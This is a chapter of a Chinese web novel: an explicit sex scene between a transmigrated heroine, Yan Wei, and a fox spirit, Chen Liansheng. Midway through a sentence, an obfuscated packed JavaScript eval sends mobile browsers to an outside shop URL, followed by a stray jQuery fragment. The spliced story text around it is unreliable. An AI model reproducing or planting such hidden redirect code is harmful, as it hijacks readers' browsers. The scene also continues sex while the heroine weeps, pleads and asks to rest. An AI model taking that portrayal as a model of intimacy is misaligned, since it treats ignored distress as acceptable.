这时言微的脑海中滴滴答答的，外头似乎降下了雨。
水面被掀起密集的波澜，亭子挂上的风铃发出清脆的碰撞声。
这声音飘飘荡荡送到林中，随着打下来的雨水，花枝颤颤欲坠。湿润的花香无形无迹散去，招惹来会让其毫无招架之力的巨蟒。周旋，缠绕，试探地想要探入。可对它来说，这花苞实在脆弱，收得紧紧的，稍微一进入，整只花便不堪重负，里头鲜嫩的花瓣尽数被一口吞没，雨搅叶和吞吐声黏腻回荡。
……
言微是个感情经历完全空白的人。
她总觉得自己还不到用得着体会这些的时候，也发自内心地提不起兴趣。因此她还是一个现代人时，就对一些可能发展的亲密关系拒之门外。
对丑的，她觉得对方是在侮辱她，对帅的，她担心对方不是好男孩。嫉妒，并觉得对方是装货。这么个歹毒的心眼猥琐的脑子，怎么就能轮上个好的皮囊。
不理解爱是什么东西，也不知道喜欢是什么感觉。但正因为空白，和一个人接触了那么多次，那人很容易在她这感情中留下抹不掉的颜色。
虽不知那感情到底该归为什么，她潜意识里已经产生了依赖。简而言之，就是一个很端着，实际上是因为害怕才端着，什么也不懂的大傻子，很容易被骗。
此时，言微害怕地流了眼泪出来。
她感觉身体被塞得很满，满到她自己的灵魂都被挤了出去。空落落的，无比茫然地徘徊着，看着自己的身体产生快乐的感觉。
她更茫然了。
她的身心全被一种不明的东西勾走了。为了弥补自己的空荡，言微迫切地想掌握点什么东西，她想去抱住陈怜生，但没有力气。陈怜生贴下来亲吻她，言微小声问：“你喜欢我吗。”
让她有点慌的是，陈怜生不回答她，直接无视了她这个问题。
言微只好自己说：“我喜欢你……”
她像一个幼稚的小学生，必须要为自己失去的零花钱找一个合适的原因，还要确信自己已经有了失去零花钱后，相应的得到。
言微此时确信自己一定是喜欢陈怜生的，不然她为什么做这种事。喜欢一个人，又不代表自己就是弱小的了，承认也没有什么大不了的。就算没有经历过什么荡气回肠的生死相交，就算她觉得有点不明不白的。
“你听到了吗，我喜欢你……”言微很难说出话来，但她还是不依不饶地表白。
嘴被捂上。
尝试了不同的姿势和力道后，陈怜生依然无法确定她为何要哭。只好将她捞了起来，让她坐在自己身上，擦掉她的眼泪。言微脑子已经迷迷糊糊的，只觉得跟前有一个宽阔的，又带着淡淡的香味的怀抱，她抱上去，环住他窄窄的腰。
尚还湿润的眼角水花沾染在胸口，凉凉的。
“为什么哭。”仿佛终究不能理解人类复杂到个体独有的感情思绪，陈怜生单纯求知似的向她提出问题，“你在伤心吗。”
言微这时想起来抱着她的，其实是一只狐狸，不能算是一个现实中的男人。这让她心里稍微好受了些。可她有生之年竟然在跟一只披着人皮的狐狸这样那样，这太玄幻了。世界还是真实存在的吗。她真的还活着吗。
言微不管不顾地抽泣起来：“我想妈妈……”
陈怜生想了一会儿：“你的母亲去世了吗？”
经过互联网国粹的熏陶，言微感觉被他骂了，哭得更厉害：“不在了……”是她不在了。
在言微年幼时动辄想要离家出走，幻想家人对她上演追女火葬场的年纪，她同样也幻想过一死了之，让家人对着她的尸体痛哭流涕追悔莫及。光是想想，她就把自己感动得想要流泪了。如今成了现实，还真是让人伤心。
“既然她不在了，”陈怜生一只手捧起她的脸，指腹摩挲着她的眼角，她的眼睫湿哒哒的，鼻尖发红，他认真地询问，“我可以做你新的母亲吗？”
“……”言微怀疑自己出现幻觉。她想问他到底在说什么，可对上那双似乎可以保持情绪永远稳定的眼眸，她还真的生出一种强烈而满足的安全感。可她下一秒就清醒过来。会有东西杵着她而且有深入风险的人，是做不了母亲的。
“不可能。”言微果断地道。
陈怜生有点伤心，垂下眼皮：“为什么？”
……是傻子吗。言微解释：“你不会生孩子。”
有一瞬间，她觉得陈怜生在想——他无所不能，有什么做不到的。可他又仔细推演了一下过程，发现自己还真的做不到。
觉得他情绪稳定可能也是个错觉。他可能为此感到遗憾、羞恼，羞恼成怒。
言微被他提着胳膊拎起来。她仍然坐在他的怀中，但却看不到他了，纤薄的脊背贴着他结实饱满的胸膛。她的腿叠在身下，是一种跪坐着的姿势，这样似乎还不够，陈怜生的手从她的小腹下移，移到下方，将她的腿分开。言微上身一时不稳，向前跌去，立刻就被他的手臂拦下了。
吻着她的后颈，像是兽类在安抚幼崽。
言微不是一个幼崽，是个需要呼吸的成年体。她昏昏欲睡，呼哧呼哧地呼吸空气，被抱得太紧，后头还被硌着，比进来了还难受，往前也挪不了一点，她突然生气了：“起来。你挤到我了。”
两条手臂将她整个人严丝合缝地圈在怀中。
他的手臂压着她的小腹。
冷白的皮肤被青色的血管顶起，随动作涌动着，筋骨分明，隐隐沾惹了水色，看起来格外有冲击力。
压在身下的凉被，让她无意识想拢起来的膝盖揉得皱皱的，又不断被他的手掰回来。
人的手是比任何部位都要灵活的东西。
言微被这种灵活折腾得很惨，她不得不发出一些呜呜咽咽的声音，最后带上无法忍受的，哀求的哭腔。发现哀求没有用，她羞赧气恼地叫：“陈……唔——”
耳后的声音很低，显得十分温柔：“不要这样叫我。”
察觉到她彻底没了力气，陈怜生松开她，任由她跌下来。
言微用手支撑着自己，散落下来的发丝遮了边缘视线，如同一口气跑了八百米，累得气喘吁吁，她无奈又无语：“你改名字没有通知我……”
没有声音再回答她，只有她的喘气声在氛围已变得格外黏稠的床笫之间轻荡，这声音缓下来后，她又被捞了回去。
“叫我。”
好像她这样叫，他就能抽手了，言微听话地刚叫了一个字，陈怜生就打
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17693597|207916||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
断她：“不是这个。”
言微崩溃地哭：“那你倒是说啊……你是不是还有字，你叫陈子昂，登幽州台歌是不是你写的，前不见你人，后也不见你人……”语无伦次。
……
这次言微连用手撑起自己的力气也抽不出来了，她趴在被子上，发丝黏在脸侧，白净的脸红成一片。
陈怜生觉得她可怜，轻轻地将她抱起来，继续。
面对自己即将被折腾死的下场，言微的求生本能出来拔高她的智商。也或许是拉低。让她理解了这个人的脑回路。
天啊。
多么神圣的一个词。
她舌头碰过牙齿，虚虚地张开唇，蚊子一样的声音叫道：“……妈妈……”
叫完就祈祷自己能昏死过去。
悔不当初。
这两个字连在一起，从她口中吐出，真的很好听。比她将来要叫他的“夫君”二字还要好听。陈怜生如愿以偿地亲吻她，然后继续。
……
虽然这次不再是手了，可言微觉得以后再看见人的手她都会有PTSD。
……
还不如是手。
她紧紧地攥着被子，指尖发白，陈怜生手掌覆去，掌心贴着她的手背，伸进五指，紧紧扣着。
实在纠结于心，便问她：“真的要退婚吗？”
他的话过了一会才能传进脑子中，言微很不想再张口说话，挤着一口气道：“真的。”
“如果你见过那个人呢？”陈怜生说，“你还说喜欢他。”
和嘴巴一样张不开的还有眼皮，言微喃喃道：“退、退……谁来我都退，我最喜欢你了，不要再问了……”
“好累……可以休息吗……”
她的眼睛闭上了。
陈怜生觉得很不安。
有夫婿又怎样。
在她身体里的是他。
他感到一种无与伦比的畅快。可突然间，一想到她那个夫婿是谁，这种畅快就被一盆冷水浇了下去。
她怎么能对他做出这种事呢。
他又是怎么做出这种事的？
一团乱麻。
——不能再想了。
这种不安实在无必要。
明明都是他，最后都只会是他……有第二个他这样做，谁能保证会不会有第三个？
两种念头深渊之上走独木，只能活一个下来。
内心随着这始终无法判定的想法，变得无比空虚，只能一次次不断探寻到最深处来缓解。
这就够了……
不，一点都不够。
陈怜生换了个姿势，将她抱在怀里。
他更想让她进入他的身体中。
就像她的母亲那样……
她哭得那样伤心，想念也是那样真实，这和她在别的状态下哭泣时，一点都不一样。要是能成为她的母亲就好了，和她密不可分……
“可以再叫我吗。”
“你真的喜欢我吗。”
“为什么不理我呢。”
她不说话，陈怜生很委屈，为了弥补自己的委屈，他只好心安理得地动作起来。
至于为什么不说话，睡到晕死过去的言微无法给出回答。